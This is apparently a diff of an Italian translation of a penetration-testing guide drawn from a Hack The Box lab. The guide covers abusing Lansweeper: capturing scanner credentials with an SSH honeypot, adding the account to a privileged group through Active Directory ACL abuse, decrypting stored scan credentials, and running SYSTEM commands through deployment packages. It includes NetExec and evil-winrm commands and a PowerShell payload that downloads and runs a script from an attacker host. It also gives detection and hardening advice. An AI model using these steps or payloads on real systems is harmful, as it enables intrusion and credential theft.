- Disattiva lo schedule e imposta l'esecuzione manuale
- Scanning → Scanning Credentials → assicurati che esistano credenziali Linux/SSH; mappale sul nuovo target (abilita tutte quelle necessarie)
- Clicca “Scan now” sul target
+- Disable schedule and plan to trigger manually
+- Scanning → Scanning Credentials → assicurati che esistano credenziali Linux/SSH; mappale al nuovo target (abilita tutte quelle necessarie)
+- Click “Scan now” on the target
 - Run an SSH honeypot and retrieve the attempted username/password

 Example with sshesame:
@ -39,7 +39,7 @@ sshesame --config sshesame.conf
 # authentication for user "svc_inventory_lnx" with password "<password>" accepted
 # connection with client version "SSH-2.0-RebexSSH_5.0.x" established
 ```
-Validare le credenziali catturate contro i servizi del DC:
+Validare i creds catturati contro i servizi DC:
 ```bash
 # SMB/LDAP/WinRM checks (NetExec)
 netexec smb   inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
@ -47,14 +47,14 @@ netexec ldap  inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
 Note
- Funziona in modo simile per altri protocolli quando puoi forzare lo scanner verso il tuo listener (SMB/WinRM honeypots, ecc.). SSH è spesso la soluzione più semplice.
- Molti scanner si identificano con client banners distinti (e.g., RebexSSH) e tenteranno comandi benigni (uname, whoami, ecc.).
+- Funziona in modo analogo per altri protocolli quando puoi forzare lo scanner verso il tuo listener (SMB/WinRM honeypots, ecc.). SSH è spesso il più semplice.
+- Molti scanner si identificano con distinti banner del client (es., RebexSSH) e tenteranno comandi benigni (uname, whoami, ecc.).

-## 2) AD ACL abuse: ottenere accesso remoto aggiungendosi a un app-admin group
+## 2) AD ACL abuse: ottenere accesso remoto aggiungendoti a un gruppo app-admin

-Usa BloodHound per enumerare i diritti effettivi dall'account compromesso. Una scoperta comune è un gruppo specifico per scanner o app (e.g., “Lansweeper Discovery”) che possiede GenericAll su un gruppo privilegiato (e.g., “Lansweeper Admins”). Se il gruppo privilegiato è inoltre membro di “Remote Management Users”, WinRM diventa disponibile una volta che ci aggiungiamo.
+Usa BloodHound per enumerare i diritti effettivi dall'account compromesso. Una scoperta comune è un gruppo specifico dello scanner o dell'app (es., “Lansweeper Discovery”) che detiene GenericAll su un gruppo privilegiato (es., “Lansweeper Admins”). Se il gruppo privilegiato è anche membro di “Remote Management Users”, WinRM diventa disponibile una volta che ci aggiungiamo.

-Esempi di raccolta:
+Collection examples:
 ```bash
 # NetExec collection with LDAP
 netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhound -c All --dns-server <DC_IP>
@ -71,24 +71,24 @@ add groupMember "Lansweeper Admins" svc_inventory_lnx
 # Confirm WinRM access if the group grants it
 netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
-Poi ottieni una shell interattiva:
+Quindi ottieni una shell interattiva:
 ```bash
 evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
 ```
-Suggerimento: le operazioni Kerberos sono sensibili al tempo. Se ricevi KRB_AP_ERR_SKEW, sincronizza l'orologio con il DC prima:
+Suggerimento: Le operazioni Kerberos sono sensibili al tempo. Se ricevi KRB_AP_ERR_SKEW, sincronizza l'orologio con il DC prima:
 ```bash
 sudo ntpdate <dc-fqdn-or-ip>   # or rdate -n <dc-ip>
 ```
-## 3) Decriptare i segreti configurati da Lansweeper sull'host
+## 3) Decrittare i segreti configurati da Lansweeper sull'host

-Sul server Lansweeper, il sito ASP.NET di solito memorizza una connection string crittografata e una chiave simmetrica utilizzata dall'applicazione. Con accesso locale adeguato puoi decriptare la connection string del DB e quindi estrarre le credenziali di scansione memorizzate.
+Sul server Lansweeper, il sito ASP.NET tipicamente memorizza una connection string crittografata e una chiave simmetrica utilizzata dall'applicazione. Con accesso locale adeguato, è possibile decrittare la connection string del DB e quindi estrarre le credenziali di scansione memorizzate.

 Posizioni tipiche:
 - Web config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
 - `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">` … `<EncryptedData>…`
 - Application key: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`

-Usa SharpLansweeperDecrypt per automatizzare la decriptazione e l'estrazione delle credenziali memorizzate:
+Usare SharpLansweeperDecrypt per automatizzare la decrittazione e l'estrazione delle credenziali memorizzate:
 ```powershell
 # From a WinRM session or interactive shell on the Lansweeper host
 # PowerShell variant
@ -99,26 +99,26 @@ powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
 #  - Connect to Lansweeper DB
 #  - Decrypt stored scanning credentials and print them in cleartext
 ```
-L'output previsto include dettagli di connessione DB e credenziali di scansione in chiaro, come account Windows e Linux usati in tutto l'ambiente. Questi spesso hanno privilegi locali elevati sugli host di dominio:
+L'output previsto include dettagli di connessione al DB e credenziali di scansione in testo chiaro come account Windows e Linux utilizzati nell'intera infrastruttura. Tali credenziali spesso hanno privilegi locali elevati sugli host di dominio:
 ```text
 Inventory Windows  SWEEP\svc_inventory_win  <StrongPassword!>
 Inventory Linux    svc_inventory_lnx        <StrongPassword!>
 ```
-Usa creds di scansione Windows recuperate per accesso privilegiato:
+Usa le Windows scanning creds recuperate per ottenere accesso privilegiato:
 ```bash
 netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
 # Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
 ```
 ## 4) Lansweeper Deployment → SYSTEM RCE

-Come membro del gruppo “Lansweeper Admins”, l'interfaccia web espone Deployment e Configuration. Sotto Deployment → Deployment packages, puoi creare pacchetti che eseguono comandi arbitrari sugli asset target. L'esecuzione è svolta dal Lansweeper service con privilegi elevati, permettendo l'esecuzione di codice come NT AUTHORITY\SYSTEM sull'host selezionato.
+Come membro di “Lansweeper Admins”, l'interfaccia web espone Deployment e Configuration. Sotto Deployment → Deployment packages, puoi creare pacchetti che eseguono comandi arbitrari sugli asset target. L'esecuzione è effettuata dal servizio Lansweeper con privilegi elevati, ottenendo code execution come NT AUTHORITY\SYSTEM sull'host selezionato.

 High-level steps:
- Crea un nuovo Deployment package che esegue un one-liner PowerShell o cmd (reverse shell, add-user, etc.).
- Seleziona l'asset desiderato (es. il DC/host dove gira Lansweeper) e clicca Deploy/Run now.
- Ottieni la shell come SYSTEM.
+- Create a new Deployment package that runs a PowerShell or cmd one-liner (reverse shell, add-user, etc.).
+- Target the desired asset (e.g., the DC/host where Lansweeper runs) and click Deploy/Run now.
+- Catch your shell as SYSTEM.

-Example payloads (PowerShell):
+Esempi di payload (PowerShell):
 ```powershell
 # Simple test
 powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
@ -127,23 +127,23 @@ powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
 powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
 ```
 OPSEC
- Le azioni di Deployment sono rumorose e lasciano tracce in Lansweeper e nei registri eventi di Windows. Usare con giudizio.
+- Le azioni di deployment sono rumorose e lasciano tracce in Lansweeper e negli event log di Windows. Usarle con giudizio.

 ## Rilevamento e hardening

- Restringere o rimuovere le enumerazioni SMB anonime. Monitorare RID cycling e accessi anomali alle condivisioni di Lansweeper.
- Controlli di egress: bloccare o limitare strettamente le connessioni outbound SSH/SMB/WinRM dagli host scanner. Generare alert su porte non standard (es., 2022) e banner client insoliti come Rebex.
+- Limitare o rimuovere le enumerazioni SMB anonime. Monitorare il RID cycling e gli accessi anomali alle condivisioni di Lansweeper.
+- Controlli di egress: bloccare o limitare fortemente le connessioni outbound SSH/SMB/WinRM dai host scanner. Allertare su porte non standard (p.es., 2022) e banner client insoliti come Rebex.
 - Proteggere `Website\\web.config` e `Key\\Encryption.txt`. Esternalizzare i segreti in un vault e ruotarli in caso di esposizione. Considerare service account con privilegi minimi e gMSA quando possibile.
- Monitoraggio AD: generare alert su modifiche ai gruppi legati a Lansweeper (es., “Lansweeper Admins”, “Remote Management Users”) e su cambiamenti di ACL che concedono GenericAll/Write membership su gruppi privilegiati.
- Audit delle creazioni/modifiche/esecuzioni dei Deployment package; generare alert su package che avviano cmd.exe/powershell.exe o connessioni outbound non previste.
+- Monitoraggio AD: allertare su modifiche ai gruppi legati a Lansweeper (p.es., “Lansweeper Admins”, “Remote Management Users”) e su cambiamenti alle ACL che concedono GenericAll/Write membership su gruppi privilegiati.
+- Audit delle creazioni/modifiche/esecuzioni dei Deployment package; allertare su package che avviano cmd.exe/powershell.exe o su connessioni outbound inaspettate.

 ## Argomenti correlati
- SMB/LSA/SAMR enumeration e RID cycling
+- Enumerazione SMB/LSA/SAMR e RID cycling
 - Kerberos password spraying e considerazioni sul clock skew
- Analisi dei path in BloodHound dei gruppi application-admin
+- Analisi dei path con BloodHound per i gruppi application-admin
 - Uso di WinRM e lateral movement

-## References
+## Riferimenti
 - [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html)
 - [sshesame (SSH honeypot)](https://github.com/jaksi/sshesame)
 - [SharpLansweeperDecrypt](https://github.com/Yeeb1/SharpLansweeperDecrypt)